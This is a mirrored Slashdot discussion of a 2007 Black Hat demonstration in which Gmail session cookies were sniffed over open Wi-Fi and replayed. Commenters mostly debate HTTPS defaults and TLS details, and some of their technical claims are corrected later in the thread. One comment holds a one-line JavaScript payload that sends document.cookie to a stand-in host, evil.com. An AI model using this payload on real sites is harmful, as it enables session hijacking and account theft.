Slashdot Mirror
Point-and-Click Gmail Hacking Shown at Black Hat
not5150 writes "Using Gmail or most other webmail programs over an unsecured access point just got a bit more dangerous. At Black Hat Robert Graham, CEO of errata security, showed how to capture and clone session cookies very quickly over connections without encryption. He even hijacked a shocked attendee's Gmail account in the middle of his presentation. 'While Ou was typing, Graham was running Ferret and sniffing all the cookies that were being sent from Ou's laptop and Google. Graham then clicked on Ou's IP address and Gmail page, complete with Ou's recently sent message on the screen. We photographed both Graham's and Ou's laptop at that time and posted it to the picture gallery. You'll see that the contents are exactly the same.'"
Somebody intercepted plaintext on an open network . . . . did I miss something?
Your hair look like poop, Bob! - Wanker.
everyone knows my mom's cookies taste better than gmail's. they can't be intercepted over an open wirless network either.
Bite my shiny metal ass.
This is shameful. It's 2007, Google. SSL has been a (reasonable) standard since 1996. USE IT.
The Firefox extension forces GMail to always run over SSL. It's great!
Apple has nothing at all to do with it.
"I think an etch-a-sketch with an ethernet port would beat IE7 in web standards compliance."
I use Thunderbird for Windows XP to manage all my different email accounts. Would something like this be a danger, or does Thunderbird encrypt traffic?
Speedy thing goes in; speedy thing comes out.
Even if you don't have encrypted transfer, session cookies can be easily secured by associating them with a certain IP address. The attacker who captures the cookies has a differnt IP address so the cookie is rejected as invalid. The only situation where this solution may get a bit annoying is if you're behind a load-balancing proxy, which changes your IP address on every request (fortunately, this is somewhat rare.) It's better than allow easy hijacks...
Ok, so he was sniffing TCP/IP packets for HTTP cookies in unencrypted traffic passing over the same wireless network as him, maybe some nifty tools there but the idea is not new at all.
What the hell does Apple have to do with GMail?
I don't have the extension that forces it to use SSL, but all you have to do to force the connection manually is add the 's' after http, and the session will reload under SSL. Hopefully you haven't already been compromised at that point.
I'm going to look for the Firefox extension now...
And they said zombies weren't real!
Apple has nothing at all to do with it.
Wow, you guys are getting quick. One minute for a denialist to chime in. I'm impressed.
Gmail already supports ssl. Just use https instead of http in the url.
Oh well. At least with gmail you get the option to use POP/SMTP, which in their case is SSL secured.
Of course, you still have to use web access to enable it.
Duh...
The guy is intercepting traffic and stole a cookie. Big deal.
Additional info : If you need the id as well, try base64 decoding of all the fields in the cookie ( dont remember whether it was orkut or gmail that sends out id base64 encoded )
And why exactly is this front page news? The attack is lame, and the technique is script kiddie stuff, and has been around since ages.
Gmail will use SSL over any browser, it just doesn't by default (which is a shame, but easily fixed for those of us that care)
I'm sure everyone's going to bitch about how Google should use SSL for everything. And from a marketing perspective, maybe they should.
But the openness of your wireless network really isn't their problem. You don't blame the banks if you shout your PIN out while you're at the ATM, do you? Or, more aptly, you don't blame the bank if you trust your ATM card and PIN to some stranger in a coffee shop.
It isn't Google's responsibility to secure your connection end-to-end. It's far more reasonable to think that it's your responsibility to not broadcast sensitive information in plaintext!!
Reality has a conservative bias: it conserves mass, energy, momentum...
They offer it. All you have to do is go to https://mail.google.com/ rather than http://mail.google.com./
I fail to see how the average person, as usual, being lax about their security is in any way Google's fault. This was something I found immediately, just because I won't check my email without a secure connection.
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
Do they not use cookies? If they do, then unless I'm misunderstanding something, you won't be any more safe then if you are using GMail.
Bite my shiny metal ass.
You do realize that GMail and Apple aren't related at all, right? The FA didn't even mention Apple. ...but I'm guessing you didn't read it. This is Slashdot, after all.
"I think an etch-a-sketch with an ethernet port would beat IE7 in web standards compliance."
I think the upshot of this isn't really "look at us, we can sniff plaintext Wifi connections," but "look at one of the biggest players in web mail use plaintext connections even though they ought to know it's a hideously bad idea."
It's more of an indictment of Google than anything, because they default to unencrypted HTTP rather than HTTPS, and most users won't know that they can go to https://mail.google.com/mail/ to force smarter behavior.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
yea...your just as screwed from the sound of it.
I can't tell if this is the troll version of the long con, or if you've really got some sort of point about Apple, here.
If the former, I have to say, it's a well-played troll. If the latter, it would be nice if you got off your ass and made whatever devastating point you're so coyly alluding to.
Reality has a conservative bias: it conserves mass, energy, momentum...
Ha! Come on, give it up for the troll, that was funny.
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
Luckily gmail keeps the entire session in https opposed to other sides that also are hackable the same way, where only the logon is secure. After that they switch to http and are susceptible (e.g. facebook) to this attack.
There is more on this on Ars Technica: http://arstechnica.com/news.ars/post/20070801-repo rt-sidejacking-session-information-over-wifi-easy- as-pie.html
A huge part of security is having sane defaults. If you support 'secure' and 'insecure' you should default to 'secure,' and let users who know what they are doing, and need 'insecure' behaviour opt into it. You shouldn't default to 'insecure' and make it the users' responsibility to select 'secure.'
I am TheRaven on Soylent News
I think he's making a reference to this event.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
Google does support SSL. Try logging into https://gmail.google.com/
/. post a week or so ago.
However, I do admit that it is rather odd that they don't advertise this. They should make a point of telling users not using https to do so, if possible. I only found out about this from a
"I fail to see how the average person, as usual, being lax about their security is in any way Google's fault."
It's Google's fault for allowing unencrypted access to the email service (without any warning) and as the default.
"This was something I found immediately, just because I won't check my email without a secure connection."
You are hardly the average person then.
Although they don't have a public key scheme strong enough for the AES-256 (requires 15360-bit RSA or 256-bit ECC for public key), you should always be logging in using https://gmail.google.com/ from all locations (even home) to ensure the entire session is encrypted.
if you put a https instead of http for gmail.google.com it'll work. I dont understand why they don't do this by default if they already support it.
A quick check of some main email websites and none of them are secure after you log in. Shame on them also?
In summary, secure your wireless AP if you're a user and buy some SSL acceleration hardware so you can support forcing all traffic on your website to use SSL if you're a service provider.
I agree with the latter recommendation about using SSL, but saying 'secure your wireless AP' doesn't do a lot to help the many public wifi locations; I think it's unhealthy to ever assume that a wireless connection will be secure. As more wireless networks are rolled out, and more people get laptops with built-in wireless and traipse happily from home to their local coffeeshop, where they're sharing an IP and an unencrypted connection with many untrusted users, opportunities for sniffing and hijacking are only going to become more common.
As users demand more portability, security and authentication need to be moved (and kept) up at the application layer, and not simply assumed as part of the datalink or physical layers.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
We have redirects setup on all plain-text channels that have a login to SSL, and have for the past 6 years; this is beyond common-sense.
Website Hosting
You're right that the exploit itself really isn't that new. What's new is twofold:
1) It's being done to Gmail, a service provided by People Who Should Know Better.
2) There is now a tool that allows any script kiddie to do it, meaning that it's no longer a theoretical exploit; it's something that your next-door neighbor is going to be doing to you (or your slightly less-technically-savvy family/friends) if you don't take precautions.
#2 is probably most significant, since it's really what's going to cause #1 to change. Sometimes, producing a GUIed, Windows-based exploit tool is the fastest way to get a problem fixed, because it's the easiest way to turn an academic argument into a real-world security issue that will get resources thrown at it. (Of course, it may also land you in jail.)
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
They shouldn't tell anyone, just transparently redirect to the secure URL. Sane defaults, and all that jazz. Or at least semi-transparently, with a "redirecting..." page that has a link to both encrypted and unencrypted login URLs, in case some network blocks https.
True confidence comes not from realising you are as good as your peers, but that your peers are as bad as you are.
Truly, an ingenious troll.
True confidence comes not from realising you are as good as your peers, but that your peers are as bad as you are.
I like your handle..... doing anything later??? ;)
Website Hosting
correct me if I'm wrong, but don't most who complain about microsoft OSes point to prior defaults to administrator privileges as a major security concern? If so, by that same reasoning, shouldn't web services default to more secure configurations as opposed to less?
un burrito me trampeó.
I'll go:
TFA shows photos of two laptops involved in the traffic cloning thing. While they are not Apple laptops, Apple does indeed make laptops. If they did not it would not be possible to clone cookies from an Apple laptop, thus you could not clone a person's Gmail session, neither using your Apple laptop nor they using theirs.
This is also true of desktops.
Can you clone the Gmail cookies of the Amish? No you cannot, they do not have Apple computers.
Also, almost certainly someone inside the Apple Corporation owns Google stock, or vice versa, further proving Apple's cuplability in the matter.
Even if there are others with the same problem doesn't give you excuse to ignore the problem.
-- Reality checks don't bounce.
well, at least Amiga is more secure against wireless IP packet sniffing and cookie stealing (yes, there is a wireless driver for Amiga).
oh wait, it isn't.
trolling today, are we?
It seems strange that Google don't do this. Is doing so more expensive in terms of server time, or certificates, or something? Otherwise, why not do it?
That's my cookie you teratogenic monster!!!!
Strive to be happy...
Bookmark the secure address and use that (who wouldn't over open wireless??). You could also use http://www.customizegoogle.com/ with Firefox if you're using Gmail to force it to go to the secure URL.
It's obviously much more expensive in terms of load on the server. And Google presumably take the attitude that anyone who is willing to hand all their email over for Google to look at must not care about security anyway.
Very MUCH the case.
Better yet, it proves out my premise that services such as these shouldn't be used for anything mission/business critical- PERIOD.
I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
Accessing http://gmail.google.com/ will redirect you to a secure page for login, but after that you're back in plain text. If you start at https://gmail.google.com/ then afaik the rest of your gmail session runs over SSL.
You forgot this is Google who has erred here, and they have been shown to be Good, so you get people defending their poor security practices simply because they like Google. Are you new here? ;)
I have never heard of anyone thanking God that they use Yahoo... in my entire life.
They default to insecure because if everyone was using their secure server, it would implode. People shouldn't need their hands held.
Someone on PRI radio the other day pointed out that if Google defaulted to SSL for gmail, they would experience a server load that would be an order of magnitude more than they currently deal with. So I don't think that SSL is the answer here. What we need to find is a way to do a non-SSL session without a risk of the session being stolen. Perhaps some kind of light-weight cryptographic exchange on every request or something. A cookie that constantly changes and cannot be reused. Some way of making sure that even if the attacker got the initial cookie, he couldn't hijack the session because he'd be missing some vital piece of information that was exchanged over SSL during login.
It's not Google's fault -- gmail is still in beta! :)
That's dumb. An application should never assume that the network it's connected to is secure. It doesn't matter whether you're plugged into switched Ethernet, a wireless LAN, or IP over carrier pigeon -- if you're designing an application that's going to transmit sensitive/assumed-private data (which email clearly is), it's a mistake to just blithely assume that the network is in any way secure.*
An application like Gmail should be treating all network connections as though they're unencrypted Wifi (or hubbed/shared-media Ethernet -- let's not call out 802.11 when there are so many other networking options that can also be trivially compromised); anything else is bad design.
* I'm aware that SMTP is designed like that (as are many other core Internet protocols), but that doesn't mean it's a good idea or even close to technically correct; it was designed in kinder, gentler, and clearly more naive time, and it's caused a whole lot of pain as a result. To do the same thing today is pretty ridiculous.
"Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
All of the above. It needs significantly more cpu, bandwidth and isnt good for compatibility.
Is there a method to do this with Google's Personalized Homepage, as you can enable it to give you a preview of your email? I didn't see any options to change that.
lthough I guess I don't have much to worry about since we don't use wireless in our home.
With that said, pass me that bowl of spam. I've got a truckload that arrived today in my yahoo account (assuming it's still active), and I need to get rid of it.
Do networks still block HTTPS? What is this, the 90s?
# This is how I did it: ..... mostly. /var/www/ /var/www/> /insecure/
.....
#
# Actual snippet from my Apache configuration
# Some details have been changed to protect the innocent
# And some details have been changed to protect the guilty
#
# The virtual host "secure.mydomain.co.uk" cannot be accessed
# by http; only by https.
#
# The insecure port
<VirtualHost 10.11.12.13:80>
ServerName secure.mydomain.co.uk
DocumentRoot
<Directory
RedirectMatch ^/[^iI]
# In this directory is a page with a dire warning
# that https is required to access this server.
# NB. To avoid creating an infinite loop, we never
# redirect if request begins with I or i.
</Directory>
</VirtualHost>
# The secure port
<VirtualHost 10.11.12.13:443>
SSLEngine on
</VirtualHost>
Je fume. Tu fumes. Nous fûmes!
I fail to see how the average person, as usual, being lax about their security is in any way Google's fault.
Maybe because you can simply tie the session to the client IP adress and verify it during each request, which puts an end to the hijacking.
It's called HTML URL redirection. It's been around since...uhhhh....I dunno. Well before 1996, I think.
It's 2007, Google. Use it!
My blog
That's the only reason I can think of why Google doesn't immediately send a 301 Permanently moved, and redirect to the https version.
True confidence comes not from realising you are as good as your peers, but that your peers are as bad as you are.
Please. Those guys are supposed to be security wizards! And now one of them is caught using plain HTTP to access gmail? I hope they laughed hard at him. Even securety noobs like me know when to use HTTP and HTTPS.
Um...the really smart people aren't using https. They're using http/https via VPN or SSH tunnel to a more trusted network.
Please help metamoderate.
So one can force an SSL connection via https://mail.google.com/ (or similarly with an appropriate Firefox plugin). However, when I try to force an SSL connection to my iGoogle home page by using "https", it simply redirects to an unsecured "http" request. I have widgets on this page displaying my GMail inbox and my google calendar events. I'm assuming this info is handled via insecure requests as well. Is this true? Any way to safeguard against this?
You've both implied that people should use the secure server on their own, and that doing so would cause Google's server to break. If Google's secure server doesn't have the capacity to handle a significant proportion of the user base, then that is in effect a wish for people not to use the service securely. Regardless of people not needing their hands held, Google apparently doesn't want to implement secure practices.
im in ur
When I go to my bank or credit card website I never bother to put the https as I'm typing the URL because they will always redirect me to a secure connection. It's a basic and common practice for services with important information. I would argue you shouldn't be putting important information on Google's web servers, but that still doesn't mean that they can't make a very simple change and dramatically increase the security of the data they hold.
Check out my lame java blog at www.javachopshop.com
I have bookmarks for both gmail and my google home page
https://www.google.com/ig
and
https://mail.google.com/mail/
Hmm, I tried that but I get a warning from Firefox saying that unencrypted data is being used on an encrypted page, could be possible its refering to something else, like the slashdot RSS feeds or something. Not entirely sure how this all works.
Worse still though, the g-mail widget on iGoogle doesn't even use https. No way of changing its behavior either.
"If it's lost, it'll turn up. Things always do" "I love it when a plan comes together"
Any decent-sized business would run into SOX problems if they used this sort of service consistently, and as a free service they have a very low duty toward their users. If gmail blew up tomorrow and Google decided to discontinue it, it'd be pretty difficult for any users to recover damages seeing as they weren't paying for anything.
Personally, I can't imagine using a non-guaranteed service for anything "mission-critical". If your mission relies on someone else's beta service, your business is in trouble.
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
I think it's unhealthy to ever assume that a wireless connection will be secure.
A few days ago my business partners and I were in some podunk town not far from Sacramento for a demonstration. The morning demonstration went well, but the potential customer was cool to buying, and so was kind of short. So there we were, all three of us, in some foreign town around lunch time. We found an ice cream shop that served sandwiches and had a wifi hotspot.
So we whipped out our laptops, took over a table, ordered some ice cream and sandwiches, and spent the afternoon at the ice cream shop. At one point, we all noticed that we were all sitting there, just as productive as if we were in the office. It was fun! And, since I've made it policy to ALWAYS enable SSL when it was possible and/or relevant, security was excellent.
We were sharing files on the company file server. (WebDAV over SSL, with a strong password on a non-standard port. Quite secure - never bothered with NFS or SMB)
We were sending/recieving emails like crazy. (IMAPs with SSL - again quite secure)
We were accessing our web-based company application. (https/SSL encrypted, of course!)
Our company network has NO shared resources that aren't also available from the Internet, and every single connection assumes encryption. Our backups are performed off-site and are encrypted. (rsync over SSH)
Welcome to the brave new world! (It was possible in 1997 or so, I think)
I have no problem with your religion until you decide it's reason to deprive others of the truth.
Nice thing that the summery explain what the "Ferret" program was and how to find it. Would be nice to actually show my friends the danger of http (not https) web mail.
I use the Gmail Notifier firefox extension which checks for messages and forces gmail to use secure connections.
We have the best government that money can buy.
1- Robert did not release this tool to the public.
2- Automatic HTTP session hijacking tools have existed for 7+ years.
(new Image()).src= "http://evil.com/?"+document.cookie
What do you mean, it isn't good for compatibility? SSL dates back to the early 90's and was present in the two major browsers (Netscape and IE) by 95 or so. Any platform not supporting SSL today does not have any excuses.
Cthulhu Saves.
This won't work when you're on the same network as the attacker. That's the situation that was demonstrated here. There are a number of ways to spoof an IP address on an 802.11 network and have bidirectional communication. Add in the fact that you could be behind a NAT and you don't even need to go through the trouble.
Cthulhu Saves.
Is hardly a viable strategy. Even with the best SSL accelerators, you're lucky to get 30-40% of the performance that plain HTTP gives you. They could certainly prevent man in the middle attacks, but unless you're on an open wifi network, the chances of being caught in a man in the middle are extremely slim. Use WEP or some other encryption mechanism to your router and you really shouldn't have any problems unless your ISP or some back bone router gets compromised. SSL is certainly critical at login time (which is why any website worth mentioning uses it), but SSL for all traffic is unnecessary. The thing that makes me laugh the most is that if all (authenticated) web traffic was done over HTTPS, the people complaining now would be the same ones complaining about how slow the website was.
This has nothing to do with any Google insecurity.
On a wired switched network, it's only possible to sniff from either a mirrored switch port or from a hub connection that has been put somewhere in the data path of the target being sniffed. Neither of these things are a particularly easy thing to do.
On a wireless network, sure, it's easy if the network is secure and encrypted - but anyone who uses an insecure unecrypted wireless network is a total fool if he or she is surprised that this kind of exploit works.
The fact is if any encryption key exchanges go on between encrypting endpoints, if you can sniff what the two are doing and catch the data flow at the right time as a "man-in-the-middle" attack, it's theoretically possible to intercept just about any type of connection - difficult but possible.
Move along, there really is nothing to see here.
Gentoo Linux - another day, another USE flag.
I think the reason this very old exploit was brought up is because more and more people are using wireless access points and not realizing how drastically less secure they are than a wired connection. Back when everyone used ethernet, a hacker had to physically get onto the same switch as you to perform this hack. Now they can just pull up in their car on the street outside of the Starbucks that you are at. And yes, google/yahoo/MSN/everyone should be switching to SSL for all this stuff.
Yes. In other words, lock your doors. It's as simple as that, and in the case of GMail it really is that simple. Add the goddamn 's'.
... if the Internet been around then odds are nobody would have breached his perimeter security, and if someone did crack it, he wouldn't have blamed anyone else but himself.
There are times I wonder about this generation. We don't really want to accept that we're responsible for much of anything. Suppose the Internet had been around fifty or sixty years ago. Ask your parents: would they expect to be mollycoddled by their ISPs and free services? I know my father wouldn't have
I take the same approach, and I try not to depend upon anything on the red side of my router to defend me if I can help it. Sometimes you have to take risks, sure, but for God's sakes people, at least do the basics. It's not that hard to keep yourself from being a soft target. Really, it's not.
The higher the technology, the sharper that two-edged sword.
With excellent and free clients out there (Like Thunderbird) why would anyone bother using the silly web interface? If you don't have access to your computer, you still have access to your phone and most of them have email programs running on them....
http://timcol6.freehostia.com/
Maybe because you can simply tie the session to the client IP adress and verify it during each request, which puts an end to the hijacking.
Not with NAT, which is typically when you are most vulnerable (i.e. a shared wireless network).
A quick google search found this:
t tps_proxy_tunnels.shtml
http://www.urlfilterdb.com/url_filter_faq/block_h
The url is httpS://mail.google.com. The performance hit isn't noticeable, but the security increase sure is...
If there's anyone I hate more than stupid people, it's intellectuals.
If they had enabled SSL be default, they'd be the only free web mail provider to have done so. That's the way it's done. If you don't like it, might try using a service you have to pay for.
ad logicam Claiming a proposition is false because it was presented as the conclusion of a fallacious argument.
I think you'll need to provide some corroborating evidence, my friend. Care to point to a section in the spec where it says you can skip secure key exchange, or post some code, or a trace of a real live browser doing this? Otherwise I think you're blowing smoke. You can't do simple replay attacks on properly configured HTTPS sites, you'd have to have one of the private keys (which are not ever transmitted) in order to get the session key. Even though the client typically generates its' key pair, only the "public" half gets sent, so capturing it boots naught.
That's what SSL/TLS is about. Defeating sniffers.
This isn't about wireless networks. Regardless of how you connect, you are connecting through an open network called the internet. The internet being open is not necessarily a problem, but it does present issues in regards to accessing something like email, or banking. Fortunately, there are standard, wide-spread and tested solutions for those issues, such as SSL. Unfortunately, SSL requires the participation of both the end user and the server, and some servers, such as google, are not so cooperative. Google has SSL, but they don't do it right.
It isn't Google's responsibility to secure your connection end-to-end.As stated above, yes it is.
That is the only way, if the server doesn't support SSL.
Write your own Choose Your Own Adventure. http://www.freegameengines.org/gamebook-engine/
This could be implemented reasonably easily, with a few limitations.
During login, the server supplies the client a secret, and a rotating block of garbage. On each request, the client hashes the secret and the garbage together and supplies the hash to the server.
The server can supply a new block of garbage at any time, replay attacks will only be effective until a new block of garbage is supplied.
If you want a fairly secure connection, you rotate the garbage on each significant request (every request that pulls user data -- You don't need to rotate for JPGs, static JS, etc). The downside is that you can't use multiple windows get far more complex (although still possible, each time there is a mismatch, switch back to SSL and have the client supply the original secret, and start a new series -- Multiple windows are possible, but much more difficult to implement)
The advantage is that calculating hashes is fairly trivial, so you won't need the overhead of SSL. The downside is that the data transferred in each session is insecure, so a snoop could still read every email you read, write, every contact you touch, etc. However, the snoop couldn't intercept your session and request NEW data.
Give a man a fish, he'll eat for a day, but teach a man to phish...
The point is, security is more than just "what's available." It also has to be about how good the defaults are. The technical community cried foul when Microsoft included a firewall in Windows XP but didn't have it turned on by default, and we complained so much that in SP2 Microsoft finally changed the default.
I agree that security is ultimately the responsibility of the user, but they should not have to seek out secure settings and turn them all on one by one. The default mode for any network-enabled program should be Secure. If the user needs Insecure, then they should have to change a setting to make it so. Spam should be opt-in, security should be opt-out. Anything else is unfair to the user.
For security, the MD5 hash of this message and sig is 09f911029d74e35bd84156c5635688c0.
Many others have pointed out that an IP address isn't exactly reliable even under normal circumstances. AOL people are, in fact, behind a load-balancing proxy. Some people carry their laptop between home and work, and like not having to login. What's more, NAT is still too common -- if you're on a wireless AP, unless it's one of the few, rare ones that get it right, you'll have the same IP address as half a dozen other people.
(Iowa State University assigns every laptop a real, Internet-facing IP, which is the same no matter where you go on their wireless network. If you know what you're doing, you can assign multiple mac addresses to the same machine, meaning you can go wireless, or plug in to the ethernet in the dorms, and still have the same IP. But they are the exception, not the rule.)
But even assuming none of that applied -- assume, say, that you live at Iowa State University, and never carry that laptop anywhere else, so your IP is always the same, and no one else ever shares it.
It's still entirely too easy to spoof mac addresses, let alone IP addresses.
Don't thank God, thank a doctor!
No, what would make the difference with IPv6 might be the crypto, as it's far enough below the application layer that you could have dedicated hardware for it, probably making it easier for Google (and others) to default to secure connections for everything.
But does IPv6 have much protection against IP spoofing, on a plaintext connection?
Don't thank God, thank a doctor!
Do you care about the security of your wireless mouse?
Assuming what you would do is sniffing as opposed to a man in the middle attack. A lot of work has gone into encryption but people seem to forget about the other peices of the puzzle. Where are those DNS packets coming from? Do you accept ICMP redirects? Is your gateway really a router?
http://monkey.org/~dugsong/dsniff/faq.html
see section on "how do I hijack/sniff https connections?".
This lesson here isn't "the webmail client was hacked, don't use gmail".
It was "unencrypted network connections are insecure, use SSL or SSH".
Using POP3 with Thunderbird would have simply made it easier for them, unless you used SSL.
Which you could do with gmail as well.
I'll bite -- RSA key exchange is pretty common isn't it?
Check the IANA registry of TLS ciphersuites(http://www.iana.org/assignments/tls-p arameters). Those without "EDH" in their names aren't performing ephemeral diffie-hellman key negotiation.
"Care to point to a section in the spec where it says you can skip secure key exchange, or post some code, or a trace of a real live browser doing this?"The SSL and TLS specs allow multiple ways of deriving the master_secret, which is used to derive the symmetric keys. Quoting from RFC 4346 (http://www.ietf.org/rfc/rfc4346.txt), section 8:
8.1.1. RSA When RSA is used for server authentication and key exchange, a 48- byte pre_master_secret is generated by the client, encrypted under the server's public key, and sent to the server. The server uses its private key to decrypt the pre_master_secret. Both parties then convert the pre_master_secret into the master_secret, as specified above. RSA digital signatures are performed using PKCS #1 [PKCS1] block type 1. RSA public key encryption is performed using PKCS #1 block type 2. 8.1.2. Diffie-Hellman A conventional Diffie-Hellman computation is performed. The negotiated key (Z) is used as the pre_master_secret, and is converted into the master_secret, as specified above. Leading bytes of Z that contain all zero bits are stripped before it is used as the pre_master_secret.
If RSA keying is used, then there is no perfect forward secrecy. In English, that means that if an attacker can capture the TLS handshake and if the attacker can compromise the server's private key, then the attacker can decode any data from that session. If ephemeral Diffie-Hellman keying is used, this attack is not feasible, since the server's RSA keypair wasn't used to secure the key exchange (it would only have been used to authenticate the server's identity).
Also note that the client doesn't generate an asymmetric key pair (as you claimed), and that the key negotiation algorithm is independent of protection against replay attacks.
Have you ever tried to connect to a xp machine with an admin account with a blank password? Guess what, it doesnt work unless you do a registry hack. No password is better than a weak password when it comes to network security.
You'll note that Dug Song's mitm depends on a human lack of security consciousness - the user has to specifically misconfigure or (at least) click through a warning in order to get past the lack of key validation (from a known CA in HTTPS, from the hostkeys file in SSH). Humans being the way they are, your point is still valid! My nets are nailed down pretty tight, but even here it's possible to mitm users if they've created a private SSH configuration file (using -F) and they are willing to blow off a big scary warning message.
As to the other issues you raised, I don't think a competently administered network permits DNS poisoning, ICMP/GRE middlemanning, or IP spoofing... but unfortunately, that does not protect the huge number of people on horribly incompetently administered networks (like comcast, cox, roadrunner, etc.).
Another poster has clarified the RSA key exchange mechanism and corrected my (partial) misstatement, but it's still not possible to sniff into TLS without knowing a private key that never gets transfered on the wire; given the current state of the art SSL/TLS is not breakable by sniffers, and only breakable by mitm due to human intellectual laziness.
Thank you for the excellent linkage - you're absolutely right (I did the unthinkable and actually checked). The client doesn't necessarily generate a key pair in IE or firefox, which is no doubt a blessing for slow machines. My apologies for spreading misinformation!
But the original poster claimed "if the traffic is sniffed as the browser is sending the SSL requests, one could sniff the SSL key and just use that to get in". Since none of the TLS encryptions send any "raw" private keys (the RSA example encrypts with the server public key) that statement is nonsensical. Even if you manually enable the NULL encryptions (which are not enabled by default, you have to point that gun at your head on purpose) the comment still doesn't make sense.
I understand there's no perfect forward secrecy without DHE (because the TSA can still steal your backup tapes and extract your private keys), and mitm may be feasible (if you control DNS or the target doesn't use a CA), but I still believe you are sniffer-proof with normal TLS/SSL.
You might enjoy this link which gives an idea of how firefox's default TLS implementation is evolving. Um, maybe "enjoy" is not the right word. I thought it was interesting.
But it's still not sniffable. You'd have to know the server private key to derive the session key.